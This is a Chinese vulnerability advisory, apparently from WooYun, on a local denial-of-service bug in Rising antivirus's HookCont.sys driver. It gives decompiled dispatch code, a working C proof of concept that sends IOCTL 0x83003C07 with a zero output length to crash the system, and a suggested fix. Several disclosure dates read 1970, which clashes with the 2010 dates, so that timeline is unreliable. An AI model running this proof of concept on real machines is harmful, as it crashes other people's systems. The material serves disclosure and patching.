瑞星 HookCont.sys <= 24.0.0.5 驱动本地拒绝服务漏洞

漏洞详情

披露状态:

2010-07-27: 细节已通知厂商并且等待厂商处理中
1970-01-01: 厂商已经确认,细节仅向厂商公开
1970-01-04: 细节向第三方安全合作伙伴开放
1970-02-25: 细节向核心白帽子及相关领域专家公开
1970-03-07: 细节向普通白帽子公开
1970-03-17: 细节向实习白帽子公开
2010-08-26: 细节向公众公开

简要描述:

瑞星 HookCont.sys <= 24.0.0.5 驱动程序派遣例程中,对IoControlCode为0x83003C07的处理中,对UserBuffer检查中,使用ProbeForWrite函数不当造成本地拒绝服务漏洞。

详细说明:

void __stdcall DriverDispatch(struct _DEVICE_OBJECT *a1, PIRP Irp)
{
  PIRP v2; // edx@2
  PVOID UserBuffer; // edi@4
  unsigned int IoControlCode; // esi@4
  struct _IRP::$::$::$::$A02EC6A2CE86544F716F4825015773AC::_IO_STACK_LOCATION *pIrpStack; // esi@4
  SIZE_T OutputBufferLength; // ST18_4@4
  int v7; // eax@25
  HANDLE *Type3InputBuffer; // [sp+10h] [bp-24h]@4
  SIZE_T InputBufferLength; // [sp+14h] [bp-20h]@4
  if ( a1 == dword_115AC )                      // hookmail
  {
    v2 = Irp;
    ++v2->CurrentLocation;
    v2->Tail.Overlay.CurrentStackLocation = (struct _IRP::$::$::$::$A02EC6A2CE86544F716F4825015773AC::_IO_STACK_LOCATION *)((char *)v2->Tail.Overlay.CurrentStackLocation + 36);
    IofCallDriver(DeviceObject, Irp);
    JUMPOUT(*(unsigned int *)loc_10F11);
  }
  pIrpStack = Irp->Tail.Overlay.CurrentStackLocation;
  Type3InputBuffer = (HANDLE *)*((_DWORD *)pIrpStack + 4);
  UserBuffer = Irp->UserBuffer;
  InputBufferLength = *((_DWORD *)pIrpStack + 2);
  OutputBufferLength = *((_DWORD *)pIrpStack + 1);
  JUMPOUT((unsigned int)UserBuffer, (unsigned int)MmUserProbeAddress, *(unsigned int *)loc_10EF2);
  JUMPOUT(
    (unsigned int)((char *)UserBuffer + *((_DWORD *)pIrpStack + 1)),
    (unsigned int)MmUserProbeAddress,
    *(unsigned int *)loc_10EF2);
  ProbeForRead(*((const void **)pIrpStack + 4), InputBufferLength, 1u);
  ProbeForWrite(UserBuffer, OutputBufferLength, 1u);
  IoControlCode = *((_DWORD *)pIrpStack + 3);
  if ( IoControlCode == 0x83003C07 )
  {
    if ( !*((_BYTE *)P + 11004) )
    {
      if ( InputBufferLength >= 4 )
      {
        v7 = sub_105AA(P, *Type3InputBuffer);
        if ( v7 )
        {
          *(_DWORD *)UserBuffer = v7;
          Irp->IoStatus.Information = 4;
        }
        *((_BYTE *)P + 11005) = 0;
        JUMPOUT(*(unsigned int *)loc_10EF9);
      }
    }
  }
//省略部分代码。。。


从瑞星的DriverDispatch处理,可以看出其对UserBuffer虽然做了严格的MmUserProbeAddress比较检查,也做了ProbeForWrite探测,但是使用ProbeForWrite函数不当!因为处理过程中相信了用户输入的OutputBufferLength,那么只要用户输入的OutputBufferLength为0,就可以躲过ProbeForWrite检查。
最终在 *(_DWORD *)UserBuffer = v7; 这句中发生了内存访问错误,导致拒绝服务。

漏洞证明:

void Test() 
{ 
	DWORD dw;
	HANDLE hDevice; 
	DWORD InputBuffer[64]={0}; 
	DWORD outputBuffer[64]={0};  
	char * deviceName="\\\\.\\HookCont";
	DWORD ioControlCode=0x83003C07; 
	//得到设备指针 
	hDevice=CreateFile(deviceName,GENERIC_READ|GENERIC_WRITE,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_SYSTEM,0);
	if(hDevice==INVALID_HANDLE_VALUE)
	{ 
		displayError("打开设备出错!"); 
		return ;
	}   
	MyOutputDebugString("CreateFile %s ok! hDevice=%08X\n",deviceName,hDevice);
	//准备数据 
	InputBuffer[0]=(DWORD)hDevice; //给一个句柄即可
	//出发漏洞
	if(!DeviceIoControl(hDevice, 
		ioControlCode,
		InputBuffer , 
		4, 
		(PVOID)(0x7fff0000),
		0, 
		&dw,0))
	{
		displayError("DeviceIoControl failed!"); 
	} 
	//关闭设备句柄
	CloseHandle(hDevice);  
}

修复方案:

建议瑞星驱动中不要相信用户输入的OutputBufferLength,而使用自己需要写入的长度作为ProbeForWrite的第二个参数(即长度)。本驱动中,应该是sizeof(DWORD).

版权声明:转载请注明来源 shineast@乌云

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值